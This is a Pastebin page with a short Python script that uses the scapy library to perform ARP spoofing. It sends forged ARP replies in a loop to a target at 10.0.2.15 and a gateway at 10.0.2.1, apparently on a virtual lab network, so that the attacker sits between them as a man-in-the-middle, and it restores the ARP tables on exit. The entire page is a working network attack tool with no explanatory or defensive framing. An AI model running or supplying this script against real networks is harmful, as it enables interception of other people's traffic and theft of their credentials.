Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/user/bin/env python
- import scapy.all as scapy
- import time
- import sys
- def get_mac_by_ip(ip):
- arp_request = scapy.ARP(pdst=ip)
- broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
- arp_request_broadcast = broadcast/arp_request
- answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
- return answered_list[0][1].hwsrc
- def spoof(target_ip, gateway_ip):
- target_mac = get_mac_by_ip(target_ip)
- gateway_mac = get_mac_by_ip(gateway_ip)
- packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
- scapy.send(packet, verbose=False)
- packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
- scapy.send(packet, verbose=False)
- def restore(target_ip, gateway_ip):
- target_mac = get_mac_by_ip(target_ip)
- gateway_mac = get_mac_by_ip(gateway_ip)
- packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
- scapy.send(packet, verbose=False, count=4)
- packet = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
- scapy.send(packet, verbose=False, count=4)
- target = "10.0.2.15"
- gateway = "10.0.2.1"
- packet_count = 0
- try:
- while True:
- packet_count += 2
- spoof(target, gateway)
- print("\r[+] Packet sent: " + str(packet_count)),
- sys.stdout.flush()
- time.sleep(2)
- except KeyboardInterrupt:
- print("\n[-] Quitting ...")
- restore(target, gateway)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement